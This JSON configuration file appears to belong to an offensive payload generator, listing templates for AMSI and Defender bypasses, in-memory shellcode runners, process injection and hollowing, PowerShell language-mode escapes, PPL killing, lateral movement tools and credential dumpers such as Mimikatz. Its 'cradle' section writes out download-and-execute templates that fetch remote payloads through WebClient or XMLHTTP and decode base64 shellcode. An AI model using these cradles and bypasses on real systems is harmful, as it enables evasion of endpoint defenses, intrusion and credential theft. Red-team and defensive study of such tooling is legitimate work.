appSetting.json

{
    "bypass": {
        "ps-amsi": {
            "lang": "powershell",
            "description": "AMSI Bypass",
            "filename": "scripts/amsibypass4.ps1"
        },
	"defender-1": {
	    "lang": "powershell",
	    "description": "Clear DefenderLoaded Rules",
	    "filename": "scripts/cleanDefenderRule.ps1"
	}
    },
    "template": {
        "py-1": {
            "lang": "python",
            "description": "[PYTHON] In-memory Shellcode Runner",
            "filename": "scripts/buffshark_template.py"
        },
        "ps-1": {
            "lang": "powershell",
            "description": "[PS] Reflective In-memory Shellcode Runner",
            "filename": "scripts/shellcode_runner_mem_template.ps1"
        },
        "ps-2": {
            "lang": "powershell",
            "description": "[PS] Reflective In-memory Unmanaged PE Runner",
            "filename": "scripts/peinject_template.ps1"
        },
        "aspx-1": {
            "lang": "csharp",
            "description": "[ASPX] Process Injection (NtSession) Shellcode Runner",
            "filename": "scripts/shellcode_injector_ntsession_template.aspx"
        },
        "load-exe-1": {
            "lang": "powershell",
            "description": "Import C# Assembly into PS",
            "filename": "scripts/load_exe1_template.ps1"
        },
        "cs-1": {
            "lang": "csharp",
            "description": "[C#] Process Injection (NtSession) Shellcode Runner",
            "filename": "scripts/shellcode_injector_ntsession_template.cs",
            "exe": true
        },
        "cs-2": {
            "lang": "csharp",
            "description": "[C#] Process Hollowing Shellcode Runner (SeImpersonatePrivilege required) with SpoolSample",
            "filename": "scripts/printspoofer_template.cs",
            "exe": true
        },
        "cs-3": {
            "lang": "csharp",
            "description": "[C#] Process Hollowing Shellcode Runner",
            "filename": "scripts/process_hollow_shellcodeAuto_template.cs",
            "exe": true
        },
        "custom-ps": {
            "lang": "powershell",
            "description": "Custom Powershell Script",
            "filename": "scripts/custom_template.ps1"
        },
        "vb-1": {
            "lang": "vba",
            "description": "[VBA Macro] In-memory Shellcode Runner",
            "filename": "scripts/shellcode_runner_template.vb"
        },
        "installutil-1": {
            "lang": "csharp",
            "description": "[C#] [Generic] Bypass PS CLM (c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installutil.exe /logfile= /logtoconsole=false /U c:\\path\\to\\this.exe)",
            "filename": "scripts/bypass_clm_installutil.cs",
            "exe": true,
            "references": [
                "dlls/v4.0/System.Management.Automation.dll"
            ]
        },
        "installutil-2": {
            "lang": "csharp",
            "description": "[C#] [Generic] Bypass PS CLM (c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\installutil.exe /logfile= /logtoconsole=false /U c:\\path\\to\\this.exe) hard-coded ps path",
            "filename": "scripts/bypass_clm_installutil_psfile.cs",
            "exe": true,
            "references": [
                "dlls/v4.0/System.Management.Automation.dll"
            ]
        },
        "installutil-3": {
            "lang": "powershell",
            "description": "[C#] [Auto] Bypass PS CLM with InstallUtil",
            "filename": "scripts/bypass_clm_installutil.ps1"
        },
        "installutil-4": {
            "lang": "powershell",
            "description": "[C#] FLM pseudo Powershell ( Invoke-FLM )",
            "filename": "scripts/bypass_clm_installutil_pseudoShell.ps1"
        },
        "service-1": {
            "lang": "powershell",
            "description": "[C#] [Auto] Bypass PS CLM with ServiceBinary",
            "filename": "scripts/bypass_clm_service.ps1"
        },
        "service-2": {
            "lang": "powershell",
            "description": "[C#] [Generic] Bypass PS CLM with ServiceBinary ( Invoke-ServicePwn -Name SNMPTRAP -Command whoami )",
            "filename": "scripts/bypass_clm_servicepwn.ps1"
        },
        "msbuild-1": {
            "lang": "powershell",
            "description": "[C#] [Auto] Bypass PS CLM with msbuild",
            "filename": "scripts/bypass_clm_msbuild.ps1"
        },
        "ppl-1": {
            "lang": "powershell",
            "description": "Invoke-KillPPL",
            "filename": "scripts/Kill_PPL.ps1"
        },
        "msi-1": {
            "lang": "powershell",
            "description": "Invoke-MSIExec / Write-MSI",
            "filename": "scripts/msi.ps1"
        },
        "psexec-1": {
            "lang": "powershell",
            "description": "[PS] [Generic] IPsExec -ComputerName xxx -Command 'whoami ^>c:\\windows\\temp\\output.txt'",
            "filename": "scripts/psexec.ps1"
        },
        "c-1": {
            "lang": "c",
            "description": "[GCC] Shellcode Runner",
            "filename": "scripts/shellcode_runner.c",
	    "elf": true,
	    "platform": "linux"
        },
        "c-2": {
            "lang": "c",
            "description": "[GCC] Custom Syscall Runner",
            "filename": "scripts/syscall_template.c",
	    "elf": true,
	    "platform": "linux"
        }
    },
    "common-pstool": [
        {
            "name": "LAPSToolkit.ps1 ( Get-LAPSComputers )",
            "filepath": "thirdparty_libs/LAPSToolkit.ps1"
        },
        {
            "name": "Inveigh",
            "filepath": "thirdparty_libs/Inveigh.ps1"
        },
        {
            "name": "PowerUp.ps1",
            "filepath": "thirdparty_libs/PowerUp.ps1"
        },
        {
            "name": "MimiKatz.ps1",
            "filepath": "thirdparty_libs/Invoke-Mimidogz.ps1"
        },
        {
            "name": "PowerView.ps1",
            "filepath": "thirdparty_libs/PowerView.ps1"
        },
        {
            "name": "PowerUpSQL.ps1",
            "filepath": "thirdparty_libs/PowerUpSQL.ps1",
	    "dependency": [
		"Inveigh"
	    ]
        },
        {
            "name": "SpoolFool.ps1",
            "filepath": "thirdparty_libs/SpoolFool.ps1"
        },
        {
            "name": "minidump.ps1",
            "filepath": "thirdparty_libs/minidump.ps1"
        },
        {
            "name": "Enum-ADTrusts.ps1",
            "filepath": "thirdparty_libs/Enum-ADTrusts.ps1"
        },
        {
            "name": "PowerMAD.ps1",
            "filepath": "thirdparty_libs/powermad.ps1"
        },
        {
            "name": "Invoke-SMBExec.ps1",
            "filepath": "thirdparty_libs/Invoke-SMBExec.ps1"
        },
        {
            "name": "Invoke-WMIExec.ps1",
            "filepath": "thirdparty_libs/Invoke-WMIExec.ps1"
        },
        {
            "name": "Invoke-PsExec -Computername appsrv01 -command whoami -resultfile $env:tmp\\out.txt",
            "filepath": "thirdparty_libs/Invoke-PsExec.ps1"
        },
        {
            "name": "Invoke-ReflectivePEInjection.ps1",
            "filepath": "thirdparty_libs/Invoke-ReflectivePEInjection.ps1"
        },
        {
            "name": "ADRecon.ps1",
            "filepath": "thirdparty_libs/ADRecon.ps1"
        },
        {
            "name": "Invoke-PPLDump",
            "filepath": "thirdparty_libs/Invoke-PPLDump.ps1"
        },
        {
            "name": "Invoke-portscan -Hosts \"172.16.134.150/29\" -Ports \"22,80,443,445,1433,3389,5985\" | %{if($_.alive){\"$($_.Hostname),,$($_.openPorts)\"}} ",
            "filepath": "thirdparty_libs/Invoke-Portscan.ps1"
        },
	{
	    "name": "Invoke-GodWrite -Victim appsrv01 -Domain prod.corp1.com -DomainController cdc01",
	    "filepath": "scripts/Abuse_GenericWrite_Computer.ps1",
	    "dependency": [
                "PowerView.ps1",
                "PowerMAD.ps1",
		"Rubeus"
	    ]
	},
	{
	    "name": "Invoke-TrustTicket -Rc4 <trustKey> -From dc01.final.com -To dc02.dev.final.com -SpnT ldap/dc02.dev.final.com",
	    "filepath": "scripts/Create_TrustTicket.ps1",
	    "dependency": [
                "PowerView.ps1",
		"Rubeus"
	    ]
	}
    ],
    "cradle": {
        "powershell": {
            "def": "[Byte[]] $buf = ",
            "staged": "(new-object net.webclient).downloaddata(\"%(url)s\");",
            "stageless": "[System.Convert]::FromBase64String(\"%(payload)s\");"
        },
        "python": {
            "def": "buf = ",
            "staged": "downloader('%(url)s')",
            "stageless": "base64.b64decode('%(payload)s')"
        },
        "csharp": {
            "def": "byte[] buf = ",
            "staged": "new System.Net.WebClient().DownloadData(\"%(url)s\");",
            "stageless": "System.Convert.FromBase64String(\"%(payload)s\");"
        },
        "vba": {
            "def": "buf = ",
            "staged": "xmlhttp.responseBody",
            "stageless": "b64(buf, 1, False)",
            "preCode": {
                "staged": "Dim xmlhttp As New MSXML2.XMLHTTP60\nxmlhttp.Open \"GET\", \"%(url)s\", False\nxmlhttp.send\n",
                "stageless": "%(payload)s\n"
            }
        },
        "c": {
            "def": "unsigned char *buf = ",
            "stageless": "\"%(payload)s\"; tmpSize = strlen(buf); buf = base64_decode(buf, tmpSize, &tmpSize);"
        }
    },
    "libtransform": {
        "powershell": "lib/transform.ps1",
        "python": "lib/transform.py",
        "csharp": "lib/transform.csharp",
        "vba": "lib/transform.vbapplication",
        "c": "lib/transform.c"
    },
    "checkBits": {
        "python": {
            "code": "import sys\nis64 = sys.maxsize > 2**32\nassert (is64 and 64 == %d) or ((not is64) and 32 == %d), 'mismatch'"
        }
    }
}